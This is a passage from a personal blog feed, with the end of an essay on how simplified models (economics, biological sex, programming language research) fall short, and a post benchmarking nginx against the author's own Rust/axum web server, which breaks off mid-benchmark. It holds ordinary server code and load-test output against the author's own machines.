<p>Consider the fundamental causality problem. The model first asks "At price <code class="prettyprint">P</code>, how much will firms produce?" suggesting price determines quantity. But when explaining market dynamics, it suddenly flips to say excess quantity drives price changes. This is like having a circular equation where <code class="prettyprint">P = f(Q)</code> and <code class="prettyprint">Q = g(P)</code> simultaneously, which creates a logical paradox. For example, if we say a firm will produce 100 units at $5, but then that 100 units causes the price to drop to $4, what was the actual relationship between price and quantity?</p>
<p>The inconsistencies become even clearer when we model more realistic firm behaviour. Take our earlier example with two firms and a demand curve <code class="prettyprint">P = 17 - (Q1 + Q2)</code>.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> If we ask "What quantity would you produce at $5?", Firm 1 might say 9 units and Firm 2 might say 8 units. But these quantities would drive the price to:</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Where 17 is the maximum price consumers would be willing to pay when the total quantity in the market is zero (Q1 + Q2 = 0). This is often called the "choke price" or the "reservation price" in economics. You can think of it as the y-intercept of the demand curve.</span></aside>
<pre class="prettyprint linenums"><code>P = 17 - (9 + 8) = 17 - 17 = $0
</code></pre>
<p>This forces both firms to recalculate their quantities, leading to a different equilibrium, perhaps:</p>
<pre class="prettyprint linenums"><code>Q1 = 6
Q2 = 5
P = 17 - (6 + 5) = 17 - 11 = $6
</code></pre>
<p>These equations show how market concentration affects prices in ways the simple supply-demand model can't capture. When concentration is small, firms have significant price-setting power, invalidating the assumption that they're "price takers."</p>
<p>External factors further complicate the picture. Government regulations like price floors or ceilings create kinked demand curves. Taxes shift curves in complex ways - a $1 tax doesn't simply shift the supply curve up by $1 because it changes the underlying production decisions. Economic cycles can cause both curves to shift simultaneously, making it impossible to isolate individual effects.</p>
<p>Price elasticity adds another layer of complexity. The model draws straight or gently curved lines, but real demand curves can have sharp kinks and varying slopes. Essential goods like insulin have nearly vertical demand curves at certain quantities, while luxury goods might have multiple elastic and inelastic regions.</p>
<p>None of this is to say that the supply-demand model should be "abolished," it's still a useful model and there's a reason it's taught.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> But the key is understanding when its simplifying assumptions are appropriate and when more sophisticated models are needed.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Being easy to understand is one of them.</span></aside>
<p>It's like how we still use Newtonian physics when modern physics is a much more accurate model of the universe. Newton's laws of motion and gravity work remarkably well for everyday calculations - from launching satellites to designing buildings to calculating the trajectory of a baseball. Engineers and architects still rely on these equations because they're simple, intuitive, and provide extremely accurate results within the scope of normal human experience.</p>
<p>It's only when we look at the very small (quantum scale), the very fast (near light speed), or the very massive (astronomical scale) that Newton's equations start to break down, and we need Einstein's relativity or quantum mechanics. For instance, Mercury's orbit couldn't be fully explained by Newtonian gravity, and GPS satellites need to account for relativistic time dilation to maintain accuracy. But just as we don't need quantum mechanics to build a bridge or relativity to calculate how long it takes a car to stop, we don't always need complex economic models to understand basic market behaviour.</p>
<p>However while useful, simplified models are still technically "incorrect". And the point I'm trying to make is that "correct" (or rather as correct as we know so far) is generally much more complicated than what you were initially taught in high-school.</p>
<p>Most areas of study are more complex and less "figured out" than what you would initially learn. Let's look at another example - the binary categorisation of sexes. No I'm not talking about gender (we're still not up to that), I'm talking about biological sex - body parts, hormones, genetics, etc. </p>
<p>While we traditionally think of sex as <code class="prettyprint">XX = female</code> and <code class="prettyprint">XY = male</code>, the reality is more complex (as it often is). There are XY people who can give birth and XX people who produce sperm, along with many other variations in genetics (XXY, XYY, X, etc.) and hormonal responses.</p>
<p>When scientists plot all these biological sex characteristics on a graph, they get what's called a bimodal distribution - two major peaks (traditionally labelled "male" and "female") with a range of variations between and around them. Historically, we've oversimplified this by forcing everyone into the two majority categories, but this approach is becoming problematic for medical research and treatment. For example, different groups respond differently to certain medications and environmental factors like dioxins, making it important to recognise these biological variations.</p>
<p>Again we're not talking about gender or transgender identity, but purely about biological characteristics. Like in the other fields we talked about, this probably doesn't matter for your day-to-day life and the simplified binary model is "mostly" fine since someone's sex really shouldn't matter to you, but it is incorrect, and for the scientific community, treating sex as a binary rather than a spectrum hinders scientific understanding and medical treatment. This isn't a new or ideological position - it's simply what the biological data shows when we look at it carefully.</p>
<p>For some extended reading, the book "Brain Gender" (2005) by Melissa Hines explains how brain structures don't follow a strict male/female binary. Instead, each brain region contains varying degrees of traditionally "male" and "female" characteristics. The paper - Joel D, McCarthy MM. (2017) <a href="https://pubmed.ncbi.nlm.nih.gov/27240659/">"Incorporating Sex As a Biological Variable in Neuropsychiatric Research: Where Are We Now and Where Should We Be?"</a> similarly discusses variation in brain structure beyond simple sex differences.</p>
<p>This paper on genetic complexity - Gregg C, Zhang J, Weissbourd B, Luo S, Schroth GP, Haig D, Dulac C (2010) <a href="https://pubmed.ncbi.nlm.nih.gov/20616232/">"High-resolution analysis of parent-of-origin allelic expression in the mouse brain"</a> used mouse brains to examine how genes are expressed differently depending on whether they came from the mother or father (genomic imprinting). By analysing both embryonic and adult mouse brains, they found over 1,300 locations where parental origin affects gene expression, with maternal genes being more active during brain development and paternal genes dominating in adult brains. While conducted in mice, this research reveals how genetic expression is more complex than simple XX/XY chromosomes, as genes can be activated differently based on their parental origin, developmental timing, and location in the brain.</p>
<p>And Springer KW, Mager Stellman J, Jordan-Young RM (2012) <a href="https://pubmed.ncbi.nlm.nih.gov/21724313/">"Beyond a catalogue of differences: a theoretical frame and good practice guidelines for researching sex/gender in human health"</a> takes a broader view, critiquing how sex differences are researched in human health. They argue that simply cataloguing differences between males and females is insufficient and potentially unscientific, suggesting instead that researchers need a more sophisticated theoretical framework for studying sex and gender in health contexts.</p>
<p>What's notable about these texts is that they come from different angles - neuroscience, genetics, and public health - yet all point to the same conclusion: biological sex is more complex than a simple binary, and treating it as such has real implications for medical research and treatment.</p>
<p>Right with that very important background information, let's get back on track. You came here for my relationship with a certain contentious concept. That concept of course being - programming language design.</p>
<p>You may remember an interesting paper that made the rounds in programming circles a few months ago - Hermans, Felienne and Schlesinger, Ari (2024) <a href="https://dl.acm.org/doi/10.1145/3689492.3689809">"A Case for Feminism in Programming Language Design."</a> It's an interesting read that you should go through yourself, but I want to talk about what I took from it.</p>
<p>Considering modern feminism has moved past from being solely about women's rights and into a study of power dynamics in society, I thought this paper would be about exploring power dynamics in programming languages (i.e. what do we allow and forbid the user to do, how that affects the end result and whatnot) through the lens of feminism. But it's actually more of a demographic study of the programming language community and examines how the demographic makeup shape languages in certain ways (most of them bad, as the paper argues).</p>
<p>Which in my opinion is a little less interesting, but that's fine, maybe someone else will do the former at some point in the future.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>It won't be me though. I know one of you fucks will ask.</span></aside>
<p>Anyway, the grounds of the feminist critique are what we could call a critical history - an approach to studying the past that fundamentally differs from traditional historical analysis. Rather than simply documenting what happened, critical history examines how our ways of thinking and understanding have developed over time. It suggests that what we consider "knowledge" or "truth" in any period isn't universal or timeless, but is shaped by the social, political, and cultural forces of that era.</p>
<p>Think of it this way: When we study calculus today, it seems like a set of objective mathematical truths that were discovered rather than created. A critical historian would instead examine how calculus emerged from specific needs and thought patterns of 17th century Europe, how its development was influenced by the philosophical and religious beliefs of the time, and how the way we think about it now might be different from how it was originally conceived.</p>
<p>This approach questions the idea that knowledge and reason develop in a straight line of progress toward greater truth. Instead, it suggests that what we consider rational or logical thinking is itself a product of particular historical circumstances. Traditional history might tell us what Newton discovered; critical history asks us to examine the entire framework of thinking that made Newton's discoveries possible and shaped how they were understood.</p>
<p>Taking this critical history approach to programming languages, we can examine how the field's foundational assumptions emerged from specific historical contexts - exactly what the article's author encountered with their work on spreadsheets.</p>
<p>The paper explains how the programming language community socially constructs what counts as a "real" programming language. Despite spreadsheets being Turing complete (technically capable of all computation), they were consistently dismissed as "not real programming languages." Meanwhile, the definition remained fluid for other technologies - Python evolved from being considered "just a scripting language" to a "real" programming language, and UML appears in books about programming language history despite its contested status.</p>
<p>This reveals how the boundaries of what constitutes a programming language aren't determined by purely technical criteria, but by social power structures within the academic and professional computing communities. This gatekeeping particularly affects early-career researchers who work on "non-traditional" programming languages - they can't participate in the programming language research community because their work has been defined as outside the field's scope.</p>
<p>It also questions why programming language research heavily favours formal proofs over human studies, despite both approaches being valid in the related field of software engineering. This methodological preference isn't a natural or inevitable choice - it reflects specific values and assumptions about what constitutes valid knowledge in the field. While software engineering embraces a range of research methods from formal proofs to qualitative studies and user observations, programming language research remains more narrowly focused.</p>
<p>These patterns reveal how the field of programming languages isn't just a set of technical tools, but a social construct shaped by historical circumstances and power structures. The paper argues that feminist theory provides useful tools for analysing these structures because feminism has extensive experience studying and challenging similar systems of power in other contexts - from voting rights to financial access. This doesn't invalidate the technical achievements in programming language design, but rather provides a framework for understanding how social and historical contexts have shaped what we consider valid or valuable in programming language research and design.</p>
<p>Now, swap out "programming language research" for "everything" and you got your answer to the question of this blog post. You're welcome, I'm glad I could help :)</p>
<p>I think that's all for today, see you next year.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I don't really have any to say about my 5 month absence on this website, I think I've warned you enough last year that posts will become rarer. They will come out when the come out, but you're guaranteed at least one a year (this one).</p>
<p>Anyway, have you played Titanfall 2? Holy smokes that game fucking rocks. I thought I wouldn't like it because I didn't like Apex Legends and surely my obsession with Ultrakill would make me hate any other movement shooter as no other could compare to that Finnish masterpiece.</p>
<p>But no, it's fucking incredible. The schmovement. The set pieces. The shooting. Like holy shit. It's so good.</p>
<p>My only complaint is that embarking into your titan is too context-sensitive. Like you have to walk up to the guy, find the right spot, and press E. I want to fucking wall ride and jump into that guy's face and make him catch me or something, that'd be sick. It really kills the flow without something like that.</p>
<p>And I'm not joking - that is my ONLY complaint, literally everything about the game is perfect.</p>
<p>But yeah I originally played it because Deadlock is pretty much dead right now in Oceania, and I really <strong>needed</strong> to fill my movement shooter fix. I played like one game of Marvel Rivals and uninstalled because it felt like complete shit to play,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> so I looked into my backlog and found my new saviour.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>It seems like a lot of people like it though. I dunno how to explain why I don't. So I'll just say if you're one of the sick fucks (like me), who bind "jump" to a mouse button, you'll feel the same way. It also probably didn't help that I played it after a hundred hours of Deadlock - a game I now consider the best competitive multiplayer game to ever exist, and it's still an invite only pre-alpha.</span></aside>
<p>Also on the Steam cover art of Titanfall 2, there's a titan wall running, but like… that never happens? You can't jump in the titan, so it can't wall run. Actually I have a second complaint and it's that. I want titan schmovement. And it should be EXACTLY like Armored Core VI.</p>
<p>So Respawn Entertainment, now that Apex Legends is dying, it's time to make Titanfall 3.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[No One:<br/>Me: I Replaced Nginx With Rust]]></title>
        <id>https://justin.duch.me/post/nbymx</id>
        <link href="https://justin.duch.me/post/nbymx"/>
        <updated>2024-08-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>My fellow Rustaceans (and non-believers),</p>
<p>You may already be aware that in the past month I've been on a warpath agressively optimising this blog. You can look at the past posts in this "Meta" series if this is news to you or you need a refresher.</p>
<p>But it's not just optimisations I've been trying to do. It's also general code improvements; getting rid of things that make me a little "uncomfortable."</p>
<p>And you know what makes me really uncomfortable?</p>
<p>JavaScript.</p>
<p>This Svelte version of the blog was made before Svelte supported TypeScript, so it goes that this blog was written almost entirely in plain, un-typed JavaScript.</p>
<p>That is a big no-no for me these days to say the least. And was also a no-no for those days as well actually, but I couldn't do anything about it back then.</p>
<p>Unsurprisingly, a complete conversion to TypeScript didn't take any longer than a day which leaves me wondering why I didn't do it earlier but it is what it is. There isn't much else to say about this so let's move on.</p>
<p>So then, what's next in the "makes me uncomfortable" list?</p>
<p>TypeScript.</p>
<p>More specifically, the remainder of the code written "almost entirely in plain, un-typed JavaScript." More specifically, the <a href="https://nginx.org/en/docs/njs/">njs</a> script for nginx that I wrote in TypeScript.</p>
<p>I've covered what I use njs for several times before on this blog but to put it simply, it's mostly been a way to handle dynamic elements of the blog without using client-side JavaScript by injecting HTML into the page as it's served to you from nginx.</p>
<p>I don't like how it's written in JavaScript. I know they use a special subset of JavaScript to keep performance, but even with the added static types in TypeScript, it's <em>still</em> JavaScript. The idea that my web server is running JavaScript is just… <strong>gross.</strong></p>
<p>It makes me uncomfortable.</p>
<p>There are <a href="https://github.com/nginxinc/ngx-rust">Rust bindings</a> for nginx which is great, but another reason for njs making me uncomfortable is that I don't really understand nginx. A while ago I found out my njs script was very slightly broken in weird ways that stem from me not understanding how nginx requests and buffers work.</p>
<p>You could consider this a skill issue. And that maybe I should just learn how to write nginx extensions properly then. To that I say, "no thanks I can't really be bothered, could you please leave my apartment now?"</p>
<p>Also I didn't write nginx, so do I really know if it sucks or not? I know if I wrote my own web server it wouldn't suck because I don't write sucky code. But I can't give that guarantee to nginx as I haven't done any code reviews for them. Hmm really makes you think, huh?</p>
<p>No but seriously, I would like to have more control over the web server and this is as good as an excuse as any to drop nginx in favour of our crab god, doing my part to further the inevitable carcanisation of the universe and reality itself as we too rewrite ourselves to become blazingly fast and memory safe with fearless concurrency.</p>
<p>First let's get a few benchmarks going, because if it turns out I write sucky code that is like two times less performant than nginx,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> I'm going to quit my job, give all the equity I own to the Red Panda Network, and sacrifice myself to the ocean where I will become food for Them, the next most useful thing a failed Rust main could be.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Let's be real, I'm under no illusions that I can write a server faster than nginx. I'll settle for "not that much slower."</span></aside>
<p>This benchmark is for my nginx config as it is now with the njs extension doing its thing.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    10.54ms  8.58ms   0.04ms   144.78ms
  Requests:
    Total:  16272  Req/Sec: 3253.89
  Transfer:
    Total: 1.51 GB Transfer Rate: 309.51 MB/Sec

16316 Errors: received unexpected message from connection
6 Errors: channel closed
</code></pre>
<p>I'm using the benchmarking tool <a href="https://github.com/lnx-search/rewrk">rewrk</a> against the <code class="prettyprint">/post</code> route (I wanted a bigger page than <code class="prettyprint">/</code>) with <code class="prettyprint">-t</code> 12 threads and <code class="prettyprint">-c</code> 60 connections for <code class="prettyprint">-d</code> 5 seconds. It's a very small benchmark, but good enough for our purposes.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Yes, I'm aware of the 16322 errors reported. I'm ignoring them.</span></aside>
<p>For another data point let's look at <a href="https://github.com/static-web-server/static-web-server">Static Web Server</a> which is another web server written in Rust. Originally, I wanted to move to something like this instead, but I couldn't find anything that allowed me to extend it like nginx, so this bench is without any of the dynamic processing that normally happens with njs.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    11.02ms  7.53ms   0.34ms   119.56ms
  Requests:
    Total:  27170  Req/Sec: 5433.98
  Transfer:
    Total: 4.40 MB Transfer Rate: 902.13 KB/Sec
</code></pre>
<p>So latencies are a little worse in general, but requests are way up and yet total transfer is way down. This is a little strange and I'm guessing has something to do with all the errors we were getting with the nginx test.</p>
<p>Interesting.</p>
<p>I'm also curious about <a href="https://caddyserver.com/">Caddy</a> which is the latest hotness in the realm of web servers. It doesn't have njs-like extensions as well but it's always good to have another data-point.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    12.71ms  8.96ms   1.00ms   83.71ms
  Requests:
    Total:  23556  Req/Sec: 4711.02
  Transfer:
    Total: 2.30 GB Transfer Rate: 471.36 MB/Sec
</code></pre>
<p>Honestly, that's better than what I was expecting from something written in Go. I know many people call Caddy "fast" but that's usually from [SLUR REDACTED] gophers who don't know how to write performant code or understand why a language that ignores decades of progress in programming language research isn't actually that fast, so I always assumed they meant "faster than NodeJS" which is not a very high bar to clear.</p>
<p>So the fact that Caddy is this close to the others is commendable. They have done a good job here.</p>
<p>Now let's look at nginx without the njs extension to better compare with these two.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    3.24ms   0.93ms   0.98ms   17.19ms
  Requests:
    Total:  92561  Req/Sec: 18513.12
  Transfer:
    Total: 8.56 GB Transfer Rate: 1.71 GB/Sec

60 Errors: connection closed
</code></pre>
<p>Wait a minute, what the fuck is this? Are you seeing this chat? Holy shit.</p>
<p>Why is this so much faster then the others? I thought njs wasn't supposed to have that big of an impact on performance. What the heck?? There must be yet more I'm doing wrong with njs. But again, can't really be bothered to figure it out so I'm going to move on from this.</p>
<p>Right, now that we have our benchmarks let's start work on our new web server (I mean it's entirely mine, but I want you to feel included). Here's the absolute bare minimum we need to get the blog running on <a href="https://docs.rs/axum/latest/axum/">axum,</a> a popular web framework for Rust.</p>
<pre class="prettyprint linenums"><code class="rust language-rust"><span class="hljs-keyword">use</span> axum::Router;
<span class="hljs-keyword">use</span> std::net::SocketAddr;
<span class="hljs-keyword">use</span> tower_http::services::ServeDir;

<span class="hljs-meta">#[tokio::main]</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">main</span>() {
    axum::<span class="hljs-title function_ invoke__">serve</span>(
        tokio::net::TcpListener::<span class="hljs-title function_ invoke__">bind</span>(SocketAddr::<span class="hljs-title function_ invoke__">from</span>(([<span class="hljs-number">127</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>], <span class="hljs-number">80</span>)))
            .<span class="hljs-keyword">await</span>
            .<span class="hljs-title function_ invoke__">unwrap</span>(),
        Router::<span class="hljs-title function_ invoke__">new</span>().<span class="hljs-title function_ invoke__">nest_service</span>(<span class="hljs-string">&quot;/&quot;</span>, ServeDir::<span class="hljs-title function_ invoke__">new</span>(<span class="hljs-string">&quot;../build&quot;</span>)),
    )
    .<span class="hljs-keyword">await</span>
    .<span class="hljs-title function_ invoke__">unwrap</span>();
}
</code></pre>
<p>And the benchmark.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post.html -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post.html <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    2.76ms   1.26ms   0.19ms   17.59ms
  Requests:
    Total: 108650  Req/Sec: 21729.41
  Transfer:
    Total: 10.69 GB Transfer Rate: 2.14 GB/Sec
</code></pre>
<p>I had to specify the route as <code class="prettyprint">/post.html</code> instead of <code class="prettyprint">/post</code> because the server doesn't do any URL cleaning. Now is this extra work that axum didn't have to do giving it a small unfair advantage? Probably. But it also probably doesn't matter that much.</p>
<p>Anyway, this is pretty good but I'm half disappointed when you consider that adding to it is only going to make it worse. It kinda makes me want to shop around for a faster framework like <a href="https://github.com/ntex-rs/ntex">ntex</a> but remember, we're not here to beat nginx, we're here to beat (or at least not be too far from) nginx with <strong>njs</strong> and that's looking very achievable.</p>
<p>So here's a non-exhaustive list of things we need to add to be feature equivalent to what I configure nginx for:</p>
<ul>
<li>HTTPS/2</li>
<li>Cache headers</li>
<li>Gzip/Brotli compression</li>
<li>Rate limiting</li>
<li>URL cleaning</li>
<li>Keepalive timeout</li>
<li>Dynamic content (njs replacement)</li>
</ul>
<p>Thankfully this isn't actually very much work because most of these are avaliable as Tower middleware I can plug into axum. I'm not going to do a deep dive into the code because it's not that interesting. You can go see the entire 500 lines of <code class="prettyprint">nbymx</code> (that's its name) for yourself <a href="https://git.sr.ht/~beanpup_py/justin.duch.me/tree/9c8c329e1cc28f8677a796a3a2a5f79df989d430/item/nbymx">here.</a></p>
<p>Now what's the benchmark looking like?</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    4.52ms   2.24ms   0.40ms   50.89ms
  Requests:
    Total:  66282  Req/Sec: 13255.76
  Transfer:
    Total: 6.55 GB Transfer Rate: 1.31 GB/Sec
</code></pre>
<p>Huh, that's a lot better than I thought it would be.</p>
<p>I assumed I would get similar results to Static Web Server since they're both built on hyper,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> which is why I was in retrospect not aiming very high by just wanting to be near in performance to njs. But to be over twice as performant (in this very small and specific benchmark)? I guess this is what I meant by saying I can't trust other people to write code that isn't sucky.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>axum is a light wrapper around hyper.</span></aside>
<p>Ok that's enough, I need to come clean to you about something. I lied about not having anything to say about the code in nbymx. I just wanted you to look at it first, that way you'll be more used to seeing Rust code and thus more willing to accept Them into your heart.</p>
<p>I put more thought into the cache control headers. If HTML files are cached like they were before with nginx you won't be getting new assets even if they're cache busted because the links to all the other assets wouldn't have changed in the cached HTML. Now I set HTML to <code class="prettyprint">no-cache</code> which makes the browser validate them with nbymx before using the cache.</p>
<p>The server validates the browser cache with the <code class="prettyprint">ETag</code> header,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> which is sent in the response for files. This is normally a hash of the file, but can really be anything. I tried to use <a href="https://docs.rs/etag/latest/etag/">etag</a> crate to generate <code class="prettyprint">ETag</code> as hashes from the file but that added around a millisecond of latency, which was unacceptable. The <code class="prettyprint">ETag</code> is just the content length now. I know nginx uses content length and last modified time, but I don't think there will be many situations where I change a page and it stays the same size so it's fine.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Real quaso.engineering fans will remember when I didn't know what the fuck an "ETag" was.</span></aside>
<p>It was also interesting to get TLS implemented. I know TLS is supposed to be a protocol that just runs on top of any transport (in a different layer of the OSI model), but I never properly understood that it really is just <strong>putting it</strong> on top of the transport.</p>
<p>I had to go a lower level API in hyper for HTTPS connections, but the code here basically is just, "do the tls handshake" then "do the http request."</p>
<pre class="prettyprint linenums"><code class="rust language-rust"><span class="hljs-keyword">let</span> <span class="hljs-variable">Ok</span>(stream) = tls_acceptor.<span class="hljs-title function_ invoke__">accept</span>(cnx).<span class="hljs-keyword">await</span> <span class="hljs-keyword">else</span> {
    error!(<span class="hljs-string">&quot;error during tls handshake connection from {}&quot;</span>, addr);
    <span class="hljs-keyword">return</span>;
};

<span class="hljs-keyword">let</span> <span class="hljs-variable">ret</span> = hyper_util::server::conn::auto::Builder::<span class="hljs-title function_ invoke__">new</span>(TokioExecutor::<span class="hljs-title function_ invoke__">new</span>())
    .<span class="hljs-title function_ invoke__">serve_connection_with_upgrades</span>(TokioIo::<span class="hljs-title function_ invoke__">new</span>(stream), hyper_service)
    .<span class="hljs-keyword">await</span>;
</code></pre>
<p>I dunno, for some reason I always imagined it being a bit more involved then this even with <code class="prettyprint">tls_acceptor</code> doing all the heavy lifting by actually encyrpting it.</p>
<p>Next, I thought it would be cool to add Prometheus metrics to the server. They're publically accessible so you can see the metrics (for your b8s node) at <a href="https://justin.duch.me/metrics">/metrics.</a> I plan to collect and display these in some way on the status page.</p>
<p>I guess this technically counts as analytics, so it seems like I've finally added them. I mean it's no big deal, I didn't actually set out to have a "no analytics" rule and wouldn't have had a problem with just parsing nginx logs or something,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> I just wasn't bothered to do it before.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I am not adding any unnecssary client-side JavaScript to this site, so analytics would always need to come from the server. Also when doing it this way, there's nothing you can do to stop it :) You can also see all the 404s that the robots keep trying to access.</span></aside>
<p>I realise that's becoming a common theme on this blog now.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I've done a bit more research on njs to find answers on why my module degragded performance by so much. And by research I mean I just watched the talk <a href="https://www.youtube.com/watch?v=Jc_L6UffFOs">"NGINX JavaScript in Your Web Server Configuration"</a> which goes through everything.</p>
<p>The section I was most interested was this slide called "Why is njs fast?"</p>
<ul>
<li>Register based VM.<ul>
<li>Small memory footprint.</li></ul></li>
<li>UTF8 strings, bytes string optimizations.<ul>
<li>ECMASscript spec require UTF-16.</li></ul></li>
<li>Disabled garbage collection.<ul>
<li>Instead cloned VM is destroyed at once.</li></ul></li>
</ul>
<p>So it looks like njs is interpretered in a similar way to Python where it compiles bytecode to be read as a VM. I think the general design makes a lot of sense, keep a strict subset to reduce overhead and tailor it to the nginx runtime.</p>
<p>Then the problem was certainly with me and not njs right? I mean, it seems like njs would start falling apart when you start trying to do more complicated things (which is why there <a href="https://github.com/nginx/njs/issues/698">are plans</a> to introduce an alternative JS engine), but I was not doing anything complicated, it was literally just a find and replace.</p>
<p>For reference, removing the same thing in <code class="prettyprint">nybmx</code> does not provide a noticable improvement. It is not a computationally expensive thing to do.</p>
<p>Fine, let's do a little bit more debugging. How about we instead benchmark it with one of the njs examples nginx gives instead of what I was doing. How about this function to convert the body to lowercase?</p>
<pre class="prettyprint linenums"><code class="js language-js"><span class="hljs-keyword">function</span> <span class="hljs-title function_">to_lower_case</span>(<span class="hljs-params">r, data, flags</span>) {
  r.<span class="hljs-title function_">sendBuffer</span>(data.<span class="hljs-title function_">toLowerCase</span>(), flags);
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> { to_lower_case };
</code></pre>
<p>That's the entire script. Literally 4 lines. This <strong>has to</strong> run well, surely nginx themselves wouldn't provide a bad example.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    13.76ms  6.49ms   2.42ms   61.57ms
  Requests:
    Total:  21750  Req/Sec: 4349.83
  Transfer:
    Total: 2.13 GB Transfer Rate: 435.91 MB/Sec
</code></pre>
<p>WHAT!? WHY IS IT STILL SHIT AND HOW ARE THE LATENCIES WORSE????</p>
<p>That must be a mistake, let's do it again.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    13.94ms  7.05ms   3.03ms   69.99ms
  Requests:
    Total:  21482  Req/Sec: 4296.23
  Transfer:
    Total: 2.10 GB Transfer Rate: 430.57 MB/Sec
</code></pre>
<p>I give up. There aren't any errors for me to look at and say I did something wrong. I guess it just sucks.</p>
<p>So then it's confirmed for real; everyone writes shit code except for me.</p>
<hr />
<p><strong>Update 2024-08-18:</strong> A reader thought I should have benchmarked Go's standard library HTTP server as well. I think that's a great idea, punching down is always fun to do.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://127.0.0.1/post.html -t 12 -c 60 -d 5s
Beginning round 1...
Benchmarking 60 connections @ http://127.0.0.1/post.html <span class="hljs-keyword">for</span> 5 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1.77ms   2.40ms   0.06ms   45.05ms
  Requests:
    Total: 169711  Req/Sec: 33940.34
  Transfer:
    Total: 16.70 GB Transfer Rate: 3.34 GB/Sec
</code></pre>
<p>Uhhhhhhhhh……</p>
<p><img src="/img/zzz_kafkareaction.png" alt="live kafka reaction" /></p>
<p>You know these benchmarks are genuinely pretty small and not at all indicative of real load for high traffic. Let's really fucking stress test it and bump it up to 200 connections on 30 threads for 30 seconds.</p>
<p>Keep in mind that I've had to move the <code class="prettyprint">rewrk</code> command to run on my Linux server because it now goes over the open file limit in MacOS. The servers are still running on the same M2 MacBook but the requests are going over a LAN instead of being local, which would have big affect on the results.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>The same test of nbymx with 12 threads and 60 connections for 5 seconds from the Linux server gives around 250ms of average latency, which is roughly a 5000% increase.</span></aside>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://10.0.0.4/post.html -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post.html <span class="hljs-keyword">for</span> 30 second(s)
  Latencies:
    Avg      Stdev    Min      Max
    1542.36ms  1274.95ms  100.07ms  10176.23ms
  Requests:
    Total:  3661   Req/Sec: 122.03
  Transfer:
    Total: 377.36 MB Transfer Rate: 12.58 MB/Sec
</code></pre>
<p>Okay, now we just need to bench nbymx again for a proper comparison. Fingers crosse- I mean, this is a completely unbiased benchmark, I am taking the neutral posistion and not rooting for any server.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">$ rewrk -h http://10.0.0.4/post -t 30 -c 200 -d 30s
Beginning round 1...
Benchmarking 200 connections @ http://10.0.0.4/post <span class="hljs-keyword">for</span> 30 second(s)
